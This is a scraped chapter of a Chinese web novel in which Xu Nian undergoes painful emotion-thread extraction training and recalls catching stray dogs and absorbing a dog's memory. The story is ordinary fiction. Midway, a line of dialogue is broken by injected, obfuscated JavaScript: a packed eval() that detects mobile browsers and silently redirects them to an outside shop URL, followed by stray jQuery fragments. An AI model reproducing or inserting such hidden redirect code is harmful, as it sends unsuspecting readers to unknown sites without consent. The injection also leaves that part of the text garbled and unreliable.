文趣网 > 其他小说 > 轻罪 > 9. 不被看见的线
    “你坐那么远干什么。”

    曲非斌头也不抬,站在台前摆弄提取装置。

    他住进来的第二天,沈墨就让他开始做复刻训练。许念自然而然是他的研究对象。

    “这不是还没准备好吗?你们这个靠谱吗?”

    半趴在操作台对面的折叠椅,许念翘着腿,一哒一哒地敲击着椅柄。

    曲非斌今天穿了一件深灰色的薄外套,灰发扎成低马尾,露出的肩膀上若隐若现有一小块淡色的疤。低头调试设备的时候,那点舞台上下的妖魅气就散了,打着哈欠,倒像个普通的、睡眠不足的研究员。

    “不靠谱,刚好消灭你这个小怪物,过来。”

    轻笑着,他的妖魅气又回来了,沈墨在一旁接着提取情绪所需要的线,接好后,拿来仪器头盔帮许念戴上。

    “忍一下,可能会有一点痛。”

    帮许念戴好头盔,轻轻拍了拍,沈墨把许念带过去,给她系好仪器带。

    “找到属于你的线,把它提取出来交给我们。”

    训练地点在调理馆地下一层。墙面上嵌着半圈显示屏,中央是一张白色的操作台,台面上嵌着几个大小不一的凹槽,卡着不同规格的储存芯片。空气里有股淡淡的冷却液气味,还有某种设备在持续运转的轰鸣声。

    小璐不知道什么时候跟下来的。它滚到操作台旁边,把自己嵌进一个刚好能卡住机身的凹槽里,呼吸灯一闪一闪的,身体打开,情绪球浮现出来进入装置。

    “开始了。”

    “呲——”

    电流!直接刺入太阳穴。许念原来还嬉皮笑脸的,现在只想骂人。

    周围人的状态她看不清了,视线直接被剥夺了,取而代之的是无穷无尽的情绪线——透过墙壁、透过地板、透过她坐的椅子,从四面八方涌入她的脑内。像有人把一整座城市的下水道同时打开了,所有东西都在朝她涌来。

    太多了!

    牙槽快被许念咬碎。她平时吃情绪是挑着吃的,选自己想要的,避开不想碰的。现在是所有东西一起倒进来——急的、缓的、甜的、苦的、黏稠的、锋利的、各式各样的!没有过滤,没有选择,全进来了。

    手指扣紧了椅柄,她的指节发白。

    “调低一点。”

    谁的声音,在很外面,像隔了一层水。

    “她会撑不住的。”

    “再坚持一会儿,快了快了,我看看峰值。”

    另一个声音,更远一些。

    “许念,听得到吗,不要抵抗,跟着它走,让它自己过。”

    这句话是从头顶传下来的。许念分不清是谁,只知道这句话落在她太阳穴旁边,带着一点点热度。

    她试着不抵抗。但那些情绪线没有变少,只是从在她脑子里慢慢缠在一块。她感觉到有人在害怕——不知道是谁,是一种黏糊糊的、发凉的恐惧,一直在重复同一个念头,像磁带卡在了同一段。她还感觉到有人很饿,饿到胃里空了一整天,饿到感觉不到饿,只剩下一种麻木的、钝钝的空。她甚至感觉到有人在笑,那种不确定自己在笑什么的、生理性的痉挛,从胸腔里一下一下往上顶。

    好杂——她有点想吐。

    “她的波形比刚才稳了,还在往上走。”

    “再给她三十秒。如果还降不下来就停。”

    许念听见了,但没有力气回应。她闭着眼,额头上沁出一层细汗,呼吸快了一点点,但没有乱。在那些乱七八糟的情绪线里——她在找,那暖的、活的、有边缘的,自己的线。

    “小不点儿,来,拿稳这把枪。”

    那是李姨,第一次教她怎么用麻醉枪抓捕流浪动物。

    “为什么要抓他们呀?”

    虽然不理解,许念还是顺着李姨的手,将枪对准了那只草丛里趴着的黄狗。

    “它们没有主人,小不点儿,万一它们伤人了对它们也不好,我们是带它们去所里,也是为了更好地照顾它们呀。”

    “会被关起来吗?它们会开心吗?”

    那时的许念还没有很好的情绪控制能力,她只能隐隐约约感受到黄狗有一瞬间的惊恐,很快就消散了。

    “biu——”狗中枪,渐渐倒地。

    “我们不能任由它们发展,小不点儿,会影响到其他人的生活的,这是姨姨的工作。”

    “那我呢?姨姨会把念念关起来吗?”

    找到了。

    很细,像一根头发丝,埋在那些涌进来的情绪底下。许念试着去够它,手指在椅柄上动了一下,但那根线滑走了。

    “她机身有点烫。”

    “谁?”

    “小璐。”

    许念不知道小璐怎么了。她只听清了“烫”这个字,下一秒,有什么东西从她的脊椎往上爬了一下,像被一只很小很小的手捏紧,越来越紧。然后那些情绪线忽然安静了一瞬间,不是消失,是停滞——像按下了暂停键。

    “……停。”是沈墨。

    电流撤了。许念猛地睁开眼,眼前一片模糊的白,过了好几秒才重新聚焦。她看见沈墨站在她面前,一只手搭在她椅背上,另一只手按在操作台的某个开关上。曲非斌站在屏幕前面,盯着上面静止的波形图。

    小璐嵌在凹槽里,机身一动不动,呼吸灯频率比平时快了一倍,像人在喘气。

    “你们……”

    许念开口,嗓子有点哑。

    “……要弄死我呀。”

    “死不的。”

    曲非斌盯着屏幕,记录和编辑数据的手依旧没有停。

    “数据还挺有趣的你,不愧是小怪物,看得懂吗?”

    “从这里之后。”曲非斌把屏幕转过来给她看,波形图上有一小段和其他部分明显不同——更平、更慢、更像一条睡着了的线。

    许念扶着操作台喘气。头晕还没过去,天花板在慢慢转。“你觉得我看得懂这些?”

    许念还是凑过去看了几秒,果然没看懂那些图线,她注意到曲非斌的手指在那一小段波形下方停了一下。她顺着他的目光往旁边看——小璐还嵌在凹槽里,呼吸灯比刚才慢了一点,机身微微倾斜着。

    “它在这里干嘛?”许念问。

    曲非斌没有立刻回答,他看了一眼沈墨。沈墨走过来,手伸到小璐机身侧面,轻轻贴了一下它的外壳。

    “凉了,刚才那一瞬间温度超过了正常阈值。”

    把数据线一点一点拆掉,曲非斌打开小璐的隐蔽开关,调出它里面的数据入口,输入新的代码。

    “它在帮你梳理情绪线。”

    许念愣了一下。她转头看小璐。小璐的显示屏闪了闪,弹出一颗的小笑脸,表示它没事,然后又灭了。机身动了一下,从凹槽里滚出来,停在许念脚边,像一只趴在主人鞋面上的猫。

    许念低头看了它好一会儿。

    “……它还会这个?”

    小璐没有回答。显示屏切换成那团乱码,转了两圈,然后换成了一行小字:“资料不足,无法回答。”

    “提前录好的?”

    许念蹲下来,伸手摸了摸小璐的机身。凉的。她不知道刚才那个温度是怎么回事,也不知道小璐是怎么帮她“梳理”情绪线的——无声的安静,从小璐身上传来的。

    “你们得到什么了吗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792632|210446||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    她站起来,拍了拍膝盖上不存在的灰。

    “你不能继续了。”帮她取下仪器,沈墨仔仔细细围着她检查了一圈。“晚点小璐会给你送夜宵。”

    “你确定?”曲非斌抬眉,“这波形反应不了什么,不再试试。”

    “她受不了。”

    第二次训练比第一次短。

    是曲非斌趁沈墨不在,给许念做的。

    电流进来的时候许念还是疼了一下,但这一次她本能地去找那根属于自己的线。——有人替她拨开水面,让她去捞底下的东西。这次抓住了它,只三秒,但抓得很稳,像握住了什么东西的尾巴。

    “小不点儿,你能看到它在想什么?告诉姨姨你看到了什么。”

    “它在等人,姨姨,小灰在等它的主人。”

    趴在房屋窗户上的狗吠着,麻醉枪都让它躲掉了。

    “姨姨,我们真的要进去吗?”

    “这家是个年轻人,他邻居反应他前些日子去雪原山探险,已经好几周没了消息,估计也不好说,小灰留在这,前些天还吃邻居喂的粮食,现在不吃不喝,我们先接它走出来,其他的后面再说。”

    许念调试着麻醉枪,试图在小灰狗露出头的瞬间麻醉它。深呼吸,手放在扳机上,随时准备扣下。

    小灰露头了,就是现在。

    “停!小不点儿,它不稳定,会伤到它的。”

    李姨把许念的枪按了下去。

    “小不点儿,你还能用你的能力吗?”

    “真的可以吗?姨姨,我可以吃吗?”

    “吃掉它的记忆,这是为了大家好。”

    集中精神抬手,那是许念第一次完全进入情绪记忆里。

    “小伙子,那我扔了的,你捡回去干嘛呀?它有点瘸,治不划算。你真想要我给你去窝里换只好的。”

    声音从纸箱外传来,纸箱上扎了几个洞,从洞里能看见外面的东西在晃。光从纸箱缝隙里进来,还有一只伸进来的手,耳朵被捏了捏。那只手很大,指头粗粗的,掌心有点糙。

    “没事,阿姨,就这只,不用麻烦的。”

    “你看它腿缩在这里,你治好了它也受罪,就让它自生自灭吧,流浪动物管理所会处理的。”

    “阿姨,没事的,我心里有数,谢谢了。”

    “这孩子……”

    被抱起来,放在胸口。男生身上有一股淡淡的青草味和汗混在一起的味道,不是好闻的那种,但也不让人讨厌。后背被轻轻拍了拍。

    “乖狗狗,就叫你小灰吧。不要害怕,我叫晓龙,跟我回家吧。”

    “波形稳了。”

    “收了。”

    电流撤走。许念睁开眼时没有头晕。她手心还残留着那根线时的触感——暖的,像握住一段晒过太阳的绳子。

    “这个你会用的上。”把绳子甩向操作台,许念把自己摊在椅子上,揉着自己的太阳穴。

    “啧啧,这就不行了,咱们这样,墨,知道了不得说我。”

    靠在操作台边上,一抬手就接住了那根线,曲非斌表情没变,把这线编入仪器里。

    “这次比上次要好,连接上情绪记忆的画面了,看看吗?”

    “不了,你研究吧,和墨说一下,他前面让我挑的情绪档案放他办公室了,我想自己去黎兴区转转,不用担心,有事终端联系。”

    “行。”

    “才怪。”

    许念走了,她没有听到曲非斌后面的话,打开投影仪上面有着王月的消息。

    “30号下午三点,黎城大学音乐节演出,自助包餐,不见不散。”